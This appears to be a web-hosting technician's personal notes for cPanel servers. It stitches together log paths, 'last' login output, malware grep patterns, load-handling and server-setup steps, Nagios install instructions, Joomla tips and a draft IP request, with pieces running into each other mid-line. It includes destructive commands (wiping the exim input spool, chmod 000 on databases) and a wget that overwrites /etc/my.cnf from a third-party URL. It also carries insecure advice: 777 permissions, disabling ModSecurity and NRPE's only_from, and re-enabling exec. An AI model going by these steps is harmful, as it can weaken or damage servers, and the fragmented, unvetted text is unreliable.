/var/log/exim_rejectlog
Ftp Logs:
/var/log/messages
Mysql Logs:
/var/lib/mysql/server.hostname.err
Cronjob Logs:
/var/log/cron
Server Logs:
/var/log/messages
SSH Logs:
/var/log/secure
cPanel Installation Logs:
/var/log/cpanel-install-thread0.log
ChkServd (cPanel Monitoring Daemon) Logs:
/var/log/chkservd.log
Named (Bind) Logs:
/var/log/messages
Last successful login attempts to the server:
/var/log/wtmp (but to view the details, execute the command “last”)
Last unsuccessful login attempts to the server:
/var/log/utmp (To view the logs, execute “lastb” command)
Domlogs of an Account:
/usr/local/apache/domlogs/domainname.tld
Mod Security Logs:
/usr/local/apache/logs/modsec_audit.log
/usr/local/apache/logs/modsec_debug_log
Apache SUEXEC Logs:
/usr/local/apache/logs/suexec_log
cPanel Access and Error Logs:
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
Stats Execution Logs:
/usr/local/cpanel/logs/stats_log
cPanel License Logs:
/usr/local/cpanel/logs/license_log
cPanel Backup Logs:
/usr/local/cpanel/logs/cpbackup/*.log
Tomcat Logs:
/usr/local/jakarta/tomcat/logs/catalina.err
/usr/local/jakarta/tomcat/logs/catalina.outLogin History :
==========
(Output of command : last)
root@rhodium [~]# last | more
root pts/3 vpn-pool.dimenoc Fri Oct 1 08:45 still logged in
root pts/3 vpn-pool.dimenoc Fri Oct 1 08:36 - 08:44 (00:07)
root pts/2 dc2.ssh.dimenoc. Fri Oct 1 08:36 still logged in
root pts/1 vpn-pool.dimenoc Fri Oct 1 08:36 still logged in
3gteam pts/0 115.248.197.138 Fri Oct 1 08:36 still logged in
reboot system boot 2.6.18-194.11.4. Fri Oct 1 08:35 (00:10)
3gteam pts/1 115.248.197.138 Fri Oct 1 07:58 - down (00:34)
3gteam pts/0 115.248.197.138 Fri Oct 1 07:58 - down (00:35)
reboot system boot 2.6.18-194.11.4. Fri Oct 1 07:43 (00:49)
reboot system boot 2.6.18-194.11.4. Fri Oct 1 07:38 (00:00)
reboot system boot 2.6.18-194.11.4. Fri Oct 1 07:32 (00:04)
reboot system boot 2.6.18-194.8.1.e Fri Oct 1 06:59 (00:38)
reboot system boot 2.6.18-53.1.21.e Fri Oct 1 06:51 (00:45)
reboot system boot 2.6.18-8.el5 Fri Oct 1 06:47 (00:02)
reboot system boot 2.6.18-8.el5 Fri Oct 1 05:41 (01:05)
reboot system boot 2.6.18-194.8.1.e Fri Oct 1 05:36 (00:03)
reboot system boot 2.6.18-8.el5 Fri Oct 1 05:24 (00:11)
reboot system boot 2.6.18-194.8.1.e Fri Oct 1 05:20 (00:03)
reboot system boot 2.6.18-194.8.1.e Fri Oct 1 04:58 (00:20)
reboot system boot 2.6.18-53.1.21.e Fri Oct 1 04:43 (00:13)
root tty1 Fri Oct 1 02:10 - 02:19 (00:09)
reboot system boot 2.6.18-8.el5 Fri Oct 1 02:04 (02:52)
reboot system boot 2.6.18-53.1.21.e Fri Oct 1 02:03 (00:00)
reboot system boot 2.6.18-8.el5 Fri Oct 1 02:01 (00:00)
reboot system boot 2.6.18-53.1.21.e Fri Oct 1 01:58 (00:01)
root tty1 Fri Oct 1 01:46 - down (00:10)
reboot system boot 2.6.18-194.8.1.e Fri Oct 1 01:44 (00:13)
root tty1 Fri Oct 1 01:41 - down (00:00)
reboot system boot 2.6.18-194.8.1.e Fri Oct 1 01:39 (00:02)
reboot system boot 2.6.18-194.8.1.e Fri Oct 1 01:27 (00:09)
reboot system boot 2.6.18-194.8.1.e Fri Oct 1 01:18 (00:07)
reboot system boot 2.6.18-194.8.1.e Fri Oct 1 01:17 (00:00)
reboot system boot 2.6.18-194.8.1.e Fri Oct 1 01:08 (00:06)
reboot system boot 2.6.18-194.8.1.e Fri Oct 1 00:48 (00:26)
reboot system boot 2.6.18-194.8.1.e Fri Oct 1 00:22 (00:52)
reboot system boot 2.6.18-194.8.1.e Fri Oct 1 00:03 (00:16)
3gteam pts/1 115.248.197.138 Thu Sep 30 23:45 - down (00:16)
3gteam pts/0 115.248.197.138 Thu Sep 30 22:20 - down (01:42)
3gteam pts/0 115.248.197.138 Thu Sep 30 07:51 - 13:54 (06:02)
3gteam pts/0 115.248.197.138 Wed Sep 29 22:07 - 05:33 (07:26)
3gteam pts/0 115.248.197.138 Wed Sep 29 19:20 - 21:58 (02:37)
3gteam pts/0 115.248.197.138 Wed Sep 29 07:12 - 13:45 (06:32)
3gteam pts/1 115.248.197.138 Tue Sep 28 22:31 - 05:47 (07:15)
3gteam pts/2 115.248.197.138 Tue Sep 28 22:05 - 22:48 (00:43)
3gteam pts/1 115.248.197.138 Tue Sep 28 19:54 - 21:52 (01:58)
3gteam pts/0 115.248.197.138 Tue Sep 28 17:31 - 22:51 (05:20)
3gteam pts/0 115.248.197.138 Tue Sep 28 06:24 - 13:47 (07:22)
3gteam pts/0 115.248.197.138 Mon Sep 27 22:22 - 05:41 (07:18)
3gteam pts/0 115.248.197.138 Mon Sep 27 17:57 - 17:58 (00:00)
3gteam pts/0 115.248.197.138 Mon Sep 27 16:37 - 17:41 (01:04)
3gteam pts/0 115.248.197.138 Mon Sep 27 06:38 - 13:51 (07:13)
3gteam pts/2 115.248.197.138 Mon Sep 27 01:25 - 02:10 (00:44)
3gteam pts/1 115.248.197.138 Mon Sep 27 00:48 - 01:26 (00:38)
3gteam pts/0 115.248.197.138 Sun Sep 26 23:14 - 05:48 (06:34)
3gteam pts/1 115.248.197.138 Sat Sep 25 23:02 - 05:50 (06:47)
3gteam pts/0 115.248.197.138 Sat Sep 25 22:18 - 23:09 (00:50)
/scripts/makecpphpChecking Malware contents for any account :
Steps :
1. login to shell
2. fire one command given below :
grep -ilr "kusik-tusik-trf.com" /home/*/public_html/index.*
grep -ilr "iframe" *
grep -ilr "eval(base64_decode" *
most probably search : grep -ilr "eval(unescape" *
3. You will get file name. Open the file and search for the malware using particular word and then remove that line.
for example,
If you have used this command grep -ilr "kusik-tusik-trf.com" /home/*/public_html/index.*
then search the file for word kusikModules :
Memcache :
What is Memcached?
Free & open source, high-performance, distributed memory object caching system, generic in nature, but intended for use in speeding up dynamic web applications by alleviating database load.
Istallation of memcache module from the server :
Memcached is an in-memory key-value store for small chunks of arbitrary data (strings, objects) from results of database calls, API calls, or page rendering.
Please use following commands for installtion;
[root@ip-192-168-2-125 wordpressapi]# wget http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-2.noarch.rpm
[root@ip-192-168-2-125 wordpressapi]# yum remove php-common
[root@ip-192-168-2-125 wordpressapi]# yum install php-pdo php-mcrypt squirrelmail php-pecl-apc php-xml php-gd php-devel php php-imap php-pgsql php-pear php-soap php-mbstring php-ldap php-mysql php-cli php-pecl-memcache
[root@ip-192-168-2-125 wordpressapi]# /etc/init.d/memcached restart
Shutting down Distributed memory caching (memcached): [ OK ]
Starting Distributed memory caching (memcached): [ OK ]
[root@ip-192-168-2-125 wordpressapi]# /etc/init.d/httpd restart
Stopping httpd: [ OK ]
Starting httpd: [ OK ]
[root@ip-192-168-2-125 wordpressapi]# vim /etc/php.ini
In php.ini file Please find the “extension=modulename.extension” words
Under that sentance please paste following line:
extension=memcache.so
Note: dont comments that line.
[root@ip-192-168-2-125 wordpressapi]# /etc/init.d/httpd restart
Stopping httpd: [ OK ]
Starting httpd: [ OK ]
[root@ip-192-168-2-125 wordpressapi]##ps -auxf
#killwhom exim
#killwhom imap
#killwhom nobody
#killall -9 httpd
#mysqladmin pr
#ps -C exim -fH eww | grep home
#top -c
Attack
#netstat -plan |grep :80|awk '{print $5}' |cut -d: -f1 |sort |uniq -c |sort -n
#netstat -an | grep SYN|sort|uniq|awk '{print $5}'|sed 's/\:/ /g'|awk '{print "csf -d "$1}'
important file :-
vi /etc/my.cnf
netstat -lnp | grep '0.0.0.0:80'
exim -bp | awk '$6~"frozen" { print $3 }' | xargs exim -Mrm
ps -eo pcpu,pid,user,args | sort -k 1 -r | head -10
cd /tmp
rm -rf sess_*
pidof httpd
http://centralops.net/co/
find */public_html/* -name .pure*
Cron log file :- tail -f /var/log/cron
path of cron :- vi /var/spool/cron/username
How to check logs :- tail -f /var/log/messages
tail -f /var/log/lfd.log
Go to /var/spool/exim/input and then fire below command
egrep "X-PHP-Script" * -R
Errorr : JFTP::mkdir: Bad response # JFTP::chmod: Bad response # JF while install or uninstall joomla extensions
http://docs.joomla.org/How_to_solve_Installation_errors_Extension_Manager\
So you designed a perfect site locally. Then uploaded it and decided it needed some plugins. You enabled FTP in configuration.php and tried to Install your plugin, template or language but you get:
I got the following error:
* JFolder::create: Infinite loop detected
* JFTP::store: Bad response
* Warning! - Failed to move file
This means that there are some server settings which are wrong.
You have to go to your global configuration and click on server.
The first field is Path to Temp-folder and that's most likely the local path of you local install.
You have to give in your live server path.
There are multiple ways to find that path.
The easy one is to create a path.php file that has the following code in it:
<?php
echo getcwd();
?>
Go to example.com/path.php Example : http://sizzlingtimes.com/path.php and path will be as : /home/sizzling/public_html/tmp
and this will give you the right directory.
Put /tmp behind it, place it in Path to Temp-folder and your done.
When you do not use FTP your directory and file permissions need to be set. The problem is that there are a lot of directories and their default setting is 755 which is safe and makes it impossible for users of the same server to place files in you directory. 755 does not make it possible to install or uninstall languages, templates or extensions.
If you change it to 777, you will be able to install and uninstall all your stuff, but… its not that safe.
To make it easy you can make a php file which sets all the directory settings right to 777 when you want to install stuff, and sets it back to 755 when you are done.
The following files need to be set tot 777 to make installation possible:
************************************************************************
http://forum.joomla.org/viewtopic.php?f=431&t=314112&start=0&st=0&sk=t&sd=a
# JFTP::mkdir: Bad response
# JFTP::chmod: Bad response
# JFTP::store: Bad response
# Warning! Failed to move file
Do you have the Joomla FTP Layer enabled? (Global Configuration > Server > FTP Settings)?
Could you try to set the permission for the "modules" directory to 777, so that it is accessible by the web-server.
You might need to set some other directories as well.
******************************************************
Can you try the following:
Login to the admin interface
Click on Help
Click on System Info
Click on Directory Permissions
You will see a list of Directories which are writable/unwritable
Can you check each one which is unwritable and set it's permission to 777
Or you can follow the steps here:
http://docs.joomla.org/How_to_solve_Installation_errors_Extension_Manager
/usr/local/apache/conf/modsec2.user.conf
saint.nseasy
#SecRule HTTP_Content-Type "!(^application/x-www-form-urlencoded|^multipart/form-data;|^text/xml).*$"
after commenting
root@saint [/home/nzflyfis/public_html]# /etc/init.d/httpd restart
Syntax error on line 20 of /usr/local/apache/conf/modsec2.user.conf:
ModSecurity: Disruptive actions can only be specified by chain starter rules.
issue
http://www.surmunity.com/showthread.php?29104-Wordpress-spellcheck-problem
reply to client : it is not possible to change the default configuration of shared server.
<IfModule mod_env.c>
SetEnv MODSEC_ENABLE Off
PassEnv MODSEC_ENABLE
</IfModule>
Enable mod_rewrite on Apache
Introduction to mod_rewrite and Apache
Mod_rewrite allows you to rewrite a webpage's url on the fly, and you can rewrite the url to almost anything. It has a lot of uses everything from redirecting multiple WebPages to a new domain without actually changing the title, to making dynamic pages appear static.
Check to see if mod_rewrite is enabled
There are several ways to check if its working, I will try to show you the simplest method, Create a .htaccess file (a text file named .htaccess) with the following code in it
Options +FollowSymLinks
RewriteEngine On
Save the file to a subdirectory of your main site something like this
/rewrite-testfolder/.htaccess
Now attempt to browse to the subdirectory (http://localhost/rewrite-testfolder/).
One of two things could happen
- No errors Congrats mod_rewrite engine is now enabled.
- 500, Internal Server Error If you get this message then mod_rewrite was not installed/enabled on your computer.
********************************************************************************
OF THIS DOES NOT WORK
The Magic of mod_rewrite
Here's a simple example for you: create three text files named test.html, test.php, and .htaccess.
In the test.html file, enter the following:
<h1>This is the HTML file.</h1>
In the test.php file, add this:
<h1>This is the PHP file.</h1>
Create the third file, .htaccess, with the following:
RewriteEngine on
RewriteRule ^/?test\.html$ test.php [L]
http://www.example.com/path/to/test.html
************************************************************************************
http://www.apacheref.com/ref/mod_rewrite.html
mod_rewrite - Advanced URL Translation And Redirection
Since Apache 1.2, src/modules/standard/mod_rewrite.c
Ralf S. Engelschall (1996)
mod_rewrite is the Swiss Army Knife of URL manipulations. It provides virtually all of the functions one would ever need to manipulate URLs, and its functionality is highly generalized. Consequently, mod_rewrite can be used to solve all sorts of URL-based problems. The drawback is the high learning curve, because this module is based on a complex rule-based matching engine, which uses regular expressions for its patterns. Although the flexibility of mod_rewrite makes it a very complex tool, once you understand the basic idea you will master all existing and forthcoming URL-based problems in your webmaster's life.
Directives:
RewriteEngine RewriteOptions
RewriteLog RewriteLogLevel
RewriteLock RewriteMap
RewriteBase RewriteCond
RewriteRule
Common steps to check loaded server :
==========================
(Note : take permissions of the supervisor before using kill command.)
(Note : Before any rm -rf command, always execute "pwd" command strictly.)
1. w
If load is more than 60 then ask supervisor and kill httpd and exim
killall -9 httpd
killall -9 exim
2. top
Figure out processes creating load (http/mysql/exim),
If http load then
http
check for common site name,
If more than 7-8 entries found and requests are from same IP, block the IP.
csf -d IP
If more than 15 entires found for same site, suspend site user
/scripts/whoowns site-name
/scripts/suspendacct username
If mysql load then
watch mysqladmin pr
If time is more than 200 and "Command" status is Query then suspend database
cd /var/lib/mysql
chmod 000 database-name
If exim load then
exim -bp
check processes with 0 minute wait time
take process ID of mails for common sender.
exim -Mvh process-ID
You will see all the details like path of mailing scripts.
Disable the problematic script file.
chmod 000 script-path
OR
exim -bpc
If output is more than 1200 then empty mailque or remove frozen mails.
cd /var/spool/exim
pwd
rm -rf input
Steps for Server Configuration
==========================================================
I >First login to poweradmin One and two (Add Supermaster zone)
IP---new server IP
Host name -- ns1.site.com or 1.nseasy.com
Account : server name
II >After that Search Zone and Records ---site.com
After that Edit and Add A record(Ip of the new server)
III > After that open another shell(another server) and type vi /etc/named.conf
Copy the line also-notify with IP address and semi colon
and New server : vi /etc/named.conf
Paste the also notify lines
and save (:wq!)
IV > On the shell of the new server, type useradd 3gteam
passwd 3gteam
Enter the password for 3gteam.
Restart sshd
V > Then vi /etc/group
wheel:x:10:root,3gteam
VI >Then vi /etc/ssh/sshd_config
Remove # and enter port number 1097
Remove # and PermitRootlogin Yes Change to PermitRootlogin No
In WHM, In ConfigServer Security & Firewall, Firewall Configuration and add the IP 1097 in TCP_IN and TCP_Out
VII >Go to WHM >> ConfigServer Security & Firewall >> Check Server Security >> Check /tmp permissions , Check /var/tmp permissions, Check /usr/tmp permissions Change all permissions as given in WHM on the shell
VIII >Check the php.ini file of the another server and compare it with the new server(Disable functions >> Just remove exec from the shell and restart apache )
IX >In WHM,, type Suexec, PHP and SuExec Configuration >> php 5 hander >>Drop down (select dso) and save changes
X > Check in another server for mysql connection > vi /etc/my.cnf (the values should be same on the new server)
XI >Go to http://configserver.net/ >> ConfigServer Mail Queues >> Right click >> wget http://configserver.net/free/cmq.tgz
Then go down on the link ConfigServer Mail Queues (install.txt) >> Click >>
On the shell
>> tar -xzf cmq.tgz
>> cd cmq/
>>sh install.sh
Refresh WHM and you will see ConfigServer Mail Queues at the left side bottom
Then open the link ConfigServer Mail Manage from http://configserver.net/ and wget the link ( wget http://configserver.net/free/cmq.tgz)
ConfigServer Mail Manage >> install.txt >> Click
On the shell
tar -xzf cmm.tgz
cd cmm/
sh install.sh
Login to WHM and scroll to the bottom of the left hand menu and you should see "ConfigServer Mail Manage"
If http command is not there on the server, then on the another server, type which http.
You will get a path for http. Then go in that path by vi /bin/http and on the new server, go by cd /bin and vi http and copy the code from old server(vi /bin/http)
### XII >Open a Old server WHM and edit packages >> and add package on a new server and enter the values as it is.
XIII >Then WHM >> Feature manager
Add Excite >>Feature List Name >> Excite >> Add >> Remove Click Be as we do not provide Click Be
XIV >>Create a account as vanessatestjade.com(Example) from WHM >> Create account >>Package Excite
XV >> Then run the command /scripts/fixquotas on the server
*** XVI >> Login to shell of Prime server(if the new server configured is of site), prime port is 22 and root as user
/scripts/whoowns network-command.com
cd public_html/status03(if adding in 3rd page )
vi config.php
Add the new server in the server list
XVI >> Check the entries of the new added domain (step XIV) In the PowerDNS 1 and 2
XVII >> WHM >> Tweak Settings >> When adding a new domain, automatically create A entries for the registered
nameservers if they would be contained in the zone. >> Unselect
XVIII > Correct the following block in httpd.conf according to the server:
vi /etc/httpd/conf/httpd.conf
Just above the second block (pid) place the following
NameVirtualHost 67.23.226.119:80
<VirtualHost 67.23.226.119:80>
ServerName elite.nsjet.com (Server name)
DocumentRoot /usr/local/apache/htdocs
</VirtualHost>
XIX >> cd /usr/local/apache/htdocs
Search for the file serverstats_inc.php
If not there, copy from any other server
cat serverstats_inc.php
Copy and paste on the new server
Restart apache
XX >> Change password on the shell with passwd
Put any password
Save
Save in the Database
In the data base Edit(Add Entry) Title(Server name) Username : IP Password : New one
====================================================
warning : unverified
You can downgrade mysql or change version by doing this :
vi /var/cpanel/cpanel.config
Change the line
mysql-version=
to 4.0 or 4.1 or 5.0
Now run :
/scripts/mysqlup --force
Now re-run apache build (easyapache) - so it can build php-mysql connector
/scripts/easyapacheHello,
Let us know the exact link to see the error at our end so that we can investigate further. You can try troubleshooting the issue at your end as follows :
* Goto cpanel >> mysql databases
* Create database, database user
*Assign privileges to database user for database.
*Ensure that the db details matches in db connection file in your account.
mysql socket download
wget --output-document=/etc/my.cnf http://www.securecentos.com/temp/files/mysql/my.cnf
once you download the fresh socket file
got
pico /etc/my.cnf
you will see
lines with socket keywors, just remove those lines and save the changes and restart mysql.
How to install nagios on cpanel or linux server?
Guys,
Nagios is a powerful monitoring system that enables organizations to identify and resolve IT infrastructure problems before they affect critical business processes.
Nagios is an open source application that monitors for computer network problems so that they can be fixed more quickly. Nagios was designed for use with the Linux operating system, but it will also work under Unix and most Unix-based systems.
Nagios runs periodic checks on user-specified resources and services. Resources that can be monitored include memory usage, disk usage, microprocessor load, the number of currently running processes, and log files. Services that can be monitored include Simple Mail Transfer Protocol (SMTP), Post Office Protocol 3 (POP3), Hypertext Transfer Protocol (HTTP), and other common network protocols. The program can monitor environmental variables such as temperature, humidity, or barometric pressure in conjunction with the appropriate measuring hardware. A user-friendly Web-based graphical user interface is provided. An authorization system allows the administrator to restrict access as necessary.
I have referred following steps to install and configure the nagios.
Before proceeding to mention the steps let me tell some points. Here I have installed nagios on monitoring server. So, this server will monitor other remote servers. Here are the required tools for them.
[A] For monitoring server(Who will monitor others) :
a)nagios
b) nagios-plugin
c) nrpe daemon
[B] For monitored remote server(who will be monitored) :
a) nagios-plugin
c) nrpe daemon
[C] Configuring monitoring server to monitor remote hosts.
Let IP of monitoring server is 64.34.203.8. and 76.74.238.165 is the IP of remote server.
Now please make it sure that following packages has installed on the server.
-------
php-mysql php-gd php-ldap php-xml gd gd-devel gcc glibc glibc-common libstdc++-devel gcc-c++perl-DBI perl-DBD-MySQL perl-Config-IniFiles rrdtool perl-rrdtool
Note : For cpanel server all the modules might have installed. You can also enable them using /scripts/easyapache or yum install mod_name
-------
=========================================
I am mentioning step by step here :
[A] Installing and configuring the monitoring tools on monitoring server(Who will monitor others) :
a)nagios
b) nagios-plugin
c) nrpe daemon :-
a)nagios :-
------------------
1. Login into the server via ssh and gain root access.
2. useradd nagios
3. passwd nagios
4. groupadd nagcmd
5. /usr/sbin/usermod -a -G nagcmd nagios
6. /usr/sbin/usermod -a -G nagcmd nobody
Note : here nobody is the apache user on my server(cpanel linux server). You can get the user by executing the following command :
root@server [/usr/local/src]# grep '^User' /usr/local/apache/conf/httpd.conf
User nobody
UserDir public_html
root@server [/usr/local/src]#
7. cd /usr/local/src/
8. wget http://prdownloads.sourceforge.net/sourceforge/nagios/nagios-3.2.1.tar.gz
9. tar -xvzf nagios-3.2.1.tar.gz
10. cd nagios-3.2.1
11. ./configure --with-command-group=nagcmd
12. make all
13. make install
14. make install-init
15. make install-config
16. make install-commandmode
17. make install-webconf
Note: During executing "make install-webconf" you'll face following error message.
``````````````````````````````````````````````````````````
root@server [/usr/local/src/nagios-3.2.1]# make install-webconf
/usr/bin/install -c -m 644 sample-config/httpd.conf
/etc/httpd/conf.d/nagios.conf
/usr/bin/install: cannot create regular file `/etc/httpd/conf.d/nagios.conf':
No such file or directory
make: *** [install-webconf] Error 1
I hope you got the clue from this error message. So, please make a directory and link with cpanel apache conf.d like :
root@server [/usr/local/src/nagios-3.2.1]# mkdir -p /etc/httpd/conf.d
root@server [/usr/local/src/nagios-3.2.1]# ln -s /etc/httpd/conf.d /usr/local/apache/conf.d
Then execute the above webconf once again. It'll create nagios.conf file in that conf.d directory. That's it. This is for integrating the nagios with webserver.
``````````````````````````````````````````````````````````
18. htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin //provide password here.
That's it for nagios. For my case here are the content in conf.d
````````
root@server [/etc/httpd/conf.d]# ll
total 12
drwxr-xr-x 2 root root 4096 Sep 26 23:22 ./
drwxr-xr-x 18 root root 4096 Sep 26 23:17 ../
lrwxrwxrwx 1 root root 6 Sep 26 23:20 conf.d -> conf.d
-rw-r--r-- 1 root root 1010 Sep 26 23:22 nagios.conf
root@server [/etc/httpd/conf.d]#
````````
===================================
b) nagios-plugin installation :-
1. cd /usr/local/src/
2. wget wget http://prdownloads.sourceforge.net/sourceforge/nagiosplug/nagios-
plugins-1.4.11.tar.gz
3. tar -xvzf nagios-plugins-1.4.11.tar.gz
4. cd nagios-plugins-1.4.11
5. ./configure --with-nagios-user=nagios --with-nagio-group=nagios
6. make
7. make install
8. chkconfig --add nagios
9. chkconfig nagios on
10. chown nagios.nagios /usr/local/nagios
11. chown -R nagios.nagios /usr/local/nagios/libexec
12. /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg
````````````````
10th command will check the configuration whether it's correct or not. If it's correct it'll show following :
..............
Total Warnings: 0
Total Errors: 0
Things look okay - No serious problems were detected during the pre-flight
check
If there is no error it means your nagios configuration is correct and you can
start nagios service.
.............
`````````````````
13. /etc/init.d/nagios start
14. ps aux | grep nagios //check whether nagios is running or not.
that's it for nagios plugin :)
===================================
c) nrpe daemon installation : --
1. cd /usr/local/src/
2. wget http://prdownloads.sourceforge.net/sourceforge/nagios/nrpe-2.12.tar.gz
3. tar -xvzf nrpe-2.12.tar.gz
4. cd nrpe-2.12
......
Make sure openssl-devel has installed on the server. Check like
root@server [/usr/local/src/nrpe-2.12]# rpm -qa | grep openssl-devel
openssl-devel-0.9.8e-12.el5_4.6
root@server [/usr/local/src/nrpe-2.12]#
Else execute : yum install openssl*
......
5. ./configure
6. make all
7. make install-plugin
8. make install-daemon
9. make install-daemon-config
10. make install-xinetd
.......
Note : Make sure that xinetd has installed on the server. Else install it like yum install xinetd
.......
11. vi /etc/xinetd.d/nrpe and disable “only_from” directive. So, the content of the file will look like :
.......
root@server [~]# cat /etc/xinetd.d/nrpe
# default: on
# description: NRPE (Nagios Remote Plugin Executor)
service nrpe
{
flags = REUSE
socket_type = stream
port = 5666
wait = no
user = nagios
group = nagios
server = /usr/local/nagios/bin/nrpe
server_args = -c /usr/local/nagios/etc/nrpe.cfg --inetd
log_on_failure += USERID
disable = no
# only_from = 127.0.0.1
}
root@server [~]#
.......
12. echo "nrpe 5666/tcp # NRPE" >> /etc/services
13. Make it sure that you have opened the above port at the firewall.
14. chkconfig xinetd on
15. service xinetd restart
op will be like :
.....
root@server [/usr/local/src/nrpe-2.12]# chkconfig --list | grep xinetd
xinetd 0:off 1:off 2:on 3:on 4:on 5:on 6:off
xinetd based services:
root@server [/usr/local/src/nrpe-2.12]# service xinetd restart
Stopping xinetd: [ OK ]
Starting xinetd: [ OK ]
root@server [/usr/local/src/nrpe-2.12]#
.....
That's it.
Test the NRPE daemon locally :
16. netstat -at | grep nrpe
Here is the o/p :
........
tcp 0 0 *:nrpe *:* LISTEN
root@server [/usr/local/src/nrpe-2.12]# netstat -plan | grep 5666
tcp 0 0 0.0.0.0:5666 0.0.0.0:*
LISTEN 31130/xinetd
root@server [/usr/local/src/nrpe-2.12]#
........
17. /usr/local/nagios/libexec/check_nrpe -H localhost
Here is the o/p :
........
root@server [/usr/local/src/nrpe-2.12]# /usr/local/nagios/libexec/check_nrpe -H localhost
NRPE v2.12
root@server [/usr/local/src/nrpe-2.12]#
........
===================================
[B] Installing and configuring the monitoring tools on monitored server (who will be monitored) :
a) nagios-plugin
c) nrpe daemon
Login into the remote server via ssh and gain root access.
a) : nagios-plugin installation :
1. cd /usr/local/src/
2. /usr/sbin/useradd nagios
3. passwd nagios
4. wget http://prdownloads.sourceforge.net/sourceforge/nagiosplug/nagios-plugins-1.4.15.tar.gz
5. tar -xvzf nagios-plugins-1.4.15.tar.gz
6. cd nagios-plugins-1.4.15
7. ./configure
8. make
9. make install
11. chown nagios.nagios /usr/local/nagios
12. chown -R nagios.nagios /usr/local/nagios/libexec
13. Make sure that xinetd has installed on the server. Else install using : yum install xinetd
That's it :)
===================================
b) nrpe daemon installation :-
1. cd /usr/local/src/
2. wget http://prdownloads.sourceforge.net/sourceforge/nagios/nrpe-2.12.tar.gz
3. tar -xvzf nrpe-2.12.tar.gz
4. cd nrpe-2.12
......
Make sure openssl-devel has installed on the server. Check like
root@server [/usr/local/src/nrpe-2.12]# rpm -qa | grep openssl-devel
openssl-devel-0.9.8e-12.el5_4.6
root@server [/usr/local/src/nrpe-2.12]#
Else execute : yum install openssl*
......
5. ./configure
6. make all
7. make install-plugin
8. make install-daemon
9. make install-daemon-config
10. make install-xinetd
.......
Note : Make sure that xinetd has installed on the server. Else install it like yum install xinetd
.......
11. vi /etc/xinetd.d/nrpe and change the IP at the “only_from” directive. It'll be monitoring server's(who will monirot) IP. For my case it was 64.34.203.8. So, the content of the file will look like :
.......
root@server [/etc/xinetd.d]# hostname
server.loveme.com
root@server [/etc/xinetd.d]# cat /etc/xinetd.d/nrpe
# default: on
# description: NRPE (Nagios Remote Plugin Executor)
service nrpe
{
flags = REUSE
socket_type = stream
port = 5666
wait = no
user = nagios
group = nagios
server = /usr/local/nagios/bin/nrpe
server_args = -c /usr/local/nagios/etc/nrpe.cfg --inetd
log_on_failure += USERID
disable = no
only_from = 64.34.203.8
}
root@server [/etc/xinetd.d]#
.......
12. echo "nrpe 5666/tcp # NRPE" >> /etc/services
13. Make it sure that you have opened the above port at the firewall.
14. chkconfig xinetd on
15. service xinetd restart
op will be like :
.....
root@server [/usr/local/src/nrpe-2.12]# chkconfig --list | grep xinetd
xinetd 0:off 1:off 2:on 3:on 4:on 5:on 6:off
xinetd based services:
root@server [/usr/local/src/nrpe-2.12]# service xinetd restart
Stopping xinetd: [ OK ]
Starting xinetd: [ OK ]
root@server [/usr/local/src/nrpe-2.12]#
.....
Test the NRPE daemon locally :
16. netstat -at | grep nrpe
Here is the o/p :
........
tcp 0 0 *:nrpe *:* LISTEN
root@server [/usr/local/src/nrpe-2.12]# netstat -plan | grep 5666
tcp 0 0 0.0.0.0:5666 0.0.0.0:*
LISTEN 31130/xinetd
root@server [/usr/local/src/nrpe-2.12]#
........
17. /usr/local/nagios/libexec/check_nrpe -H localhost
Here is the o/p :
........
root@server [/usr/local/src/nrpe-2.12]# /usr/local/nagios/libexec/check_nrpe -H localhost
NRPE v2.12
root@server [/usr/local/src/nrpe-2.12]#
........
That's it.
================================================================================
[C] Configuring monitoring server to monitor remote hosts :-
Login into the monitoring server(who will monitor) via ssh and gain root access.
1. Create a command definition: /usr/local/nagios/etc/commands.cfg
and add following entries in that file :
---
root@server [/usr/local/nagios/etc/objects]# cat /usr/local/nagios/etc/commands.cfg
define command{
command_name check_nrpe
command_line $USER1$/check_nrpe -H $HOSTADDRESS$ -c $ARG1$
}
root@server [/usr/local/nagios/etc/objects]
---
2. chown nagios. /usr/local/nagios/etc/commands.cfg
3. create the file /usr/local/nagios/etc/objects/linux-box-remote.cfg and add
following entries in that file.
........
root@server [/usr/local/nagios/etc/objects]# cat /usr/local/nagios/etc/objects/linux-box-remote.cfg
define host{
name linux-box-remote ; Name of this
template
use generic-host ; Inherit default values
check_period 24x7
check_interval 5
retry_interval 1
max_check_attempts 10
check_command check-host-alive
notification_period 24x7
notification_interval 30
notification_options d,r
contact_groups admins
register 0 ; DONT REGISTER THIS - ITS A
TEMPLATE
}
define host{
use linux-box-remote ; Inherit default values from a
template
host_name server.ubeea2.com ; The name we're giving to this
server
alias ubeea2 ; A longer name for the server
address 76.74.238.165 ; IP address of the server
}
define service{
use generic-service
host_name server.ubeea2.com
service_description CPU Load
check_command check_nrpe!check_load
}
define service{
use generic-service
host_name server.ubeea2.com
service_description Current Users
check_command check_nrpe!check_users
}
define service{
use generic-service
host_name server.ubeea2.com
service_description /dev/hda1 Free Space
check_command check_nrpe!check_hda1
}
define service{
use generic-service
host_name server.ubeea2.com
service_description Total Processes
check_command check_nrpe!check_total_procs
}
define service{
use generic-service
host_name server.ubeea2.com
service_description Zombie Processes
check_command check_nrpe!check_zombie_procs
}
root@server [/usr/local/nagios/etc/objects]#
..........
Note : Change the IP and hostname. Then call this file in the nagios.cfg file. Just add
like
4. cfg_file=/usr/local/nagios/etc/objects/linux-box-remote.cfg
Example :
........
root@server [/usr/local/nagios/etc]# grep linux-box-remote.cfg /usr/local/nagios/etc/nagios.cfg
cfg_file=/usr/local/nagios/etc/objects/linux-box-remote.cfg
........
5. chown nagios. /usr/local/nagios/etc/objects/linux-box-remote.cfg
6. check config like :
....
root@server [/usr/local/nagios/etc/objects]# /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg
Make sure warning and error are zero.
....
7. service nagios restart
8. You can add multple remote host in the linux-box-remote.cfg file. Just add another entry like second defined "host" to last one(only you have to change the hostname and services those you want to monitor).
That's it. Try :)
vim /etc/nsswitch.conf
vi /etc/named.conf
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netstat -an | grep SYN|sort|uniq|awk '{print $5}'|sed 's/\:/ /g'|awk '{print "csf -d "$1}'New IP requirement
Hello,
Please allocate an IP from our existing allocated range (see DECC user colo@minmaxgroup.com) to server east.nseasy.com.
Server Details as follows:
Hostname: east.nseasy.com
